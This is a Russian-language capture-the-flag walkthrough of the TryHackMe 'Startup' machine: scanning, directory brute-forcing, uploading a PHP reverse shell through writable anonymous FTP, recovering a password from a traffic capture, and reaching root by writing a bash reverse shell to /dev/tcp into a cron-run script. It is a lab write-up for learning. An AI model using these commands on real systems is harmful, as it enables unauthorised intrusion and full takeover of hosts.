THM Startup

THM Startup

Max Alexeev (@wi_max)

Представляю решение одной из уязвимых виртуальных машин платформы TryHackMe.


Сканируем хост с помощью nmap. Я это делаю с помощью следующего скрипта:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1


Результат сканирования nmap

Анализ результатов сканирования в сухом остатке дает нам:

  1. FTP-сервер версии vsftpd 3.0.3 разрешен анонимный доступ (anonymous:anonymous)
  2. WEB-сервер Apache httpd 2.4.18
  3. OpenSSH 7.2p2

После того, как провели сканирование nmap, я обычно запускаю брут директорий. Можно использовать различные утилиты для этого, мне нравятся gobuster и dirbuster. Воспользуемся первой:

gobuster dir -u http://10.10.105.255 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100 

Практически сразу находит директорию files:

Просмотрим ее содержимое.

Содержимое директории files

Ничего интересного я не обнаружил, но в глаза бросилось название директории ftp. Аналогичный вывод мы могли наблюдать при сканировании nmap. Это натолкнуло меня на мысль и я решил проверить права на директорию. Для этого, я подключился к FTP-серверу:

Оказалось, что все пользователи имеют права записи в директорию ftp. А так как файловые пространства FTP-сервера и WEB-сервера фактически пересекаются, то мы можем загрузить файл с помощью FTP-сервера, а открыть его на WEB-сервере. Первое, что пришло в голову, это php-shell. На kali это доступно по следующему пути /usr/share/webshells/php/php-reverse-shell.php .

Скопируем его на рабочий стол и загрузим на FTP-сервер. Перед загрузкой необходимо указать свои ip-адрес и порт, на который мы будем ожидать подключения. Загрузка файла на FTP-сервер осуществляется с помощью следующей команды:

ftp> put ~/Desktop/1.php rev-shell.php

Откроем загруженный файл, используя WEB-сервер, предварительно запустив прослушивание (nc -lnvp 4444):

Теперь получим стабильный терминал, используя команду:

script -qc /bin/bash /dev/null

Итак, мы на целевой системе. Проверяем, права какого пользователя у нас есть:

Попробуем просмотреть домашнюю директорию.

Видим домашнюю директорию пользователя lennie. При попытке доступа, оказывается, что прав у нас нет. После этого, я поднялся на уровень выше и просмотрел содержимое корневой директории. Привлекло нестандартное название директории incedents .

Обнаружив там файл с трафиком, я решил передать его к себе на хост:

 Первым делом необходимо просмотреть файл на наличие паролей, это можно сделать с помощью следующей команды: strings incoming.pcapng|grep -B 2 -A 2 passw*

Первая мысль, которая возникла - попробовать данный пароль к пользователю lennie. После удачной попытки входа, я перешел в домашнюю директорию пользователя. Исследуя другие файлы, внимание привлек /scripts/planner.sh. Содержимое подсказывает, что данный файл исполняет файл /etc/print.sh .

У нас имеются права на запись в файл /etc/print.sh , а значит, записав и выполнив planner.sh мы исполним и print.sh , но выполняя с нашими правами, мы получим снова шелл для пользователя lennie . Я записал в print.sh с помощью следующей команды.

echo 'bash -c "bash -i >& /dev/tcp/10.9.2.110/7777 0>&1"' > /etc/print.sh

И тут мне пришла идея, а что, если периодически cron выполняет это скрипт, с root правами. Просмотреть это удобно с помощью pspy . Доставить pspy на целевую систему можно используя утилиту wget на целевой системе и подняв у себя сервер, например с помощью:

 python -m SimpleHTTPServer

После доставки не забудьте разрешить исполнение файла. Просмотр вывода pspy дал следующую информацию:

Вывод pspy

Наше предположение оказалось верным. То есть, записав реверс-шелл в /etc/print.sh он будет выполнен автоматически после выполнения planner.sh. Нам остается только прослушивать порт и ждать подключения.


Report Page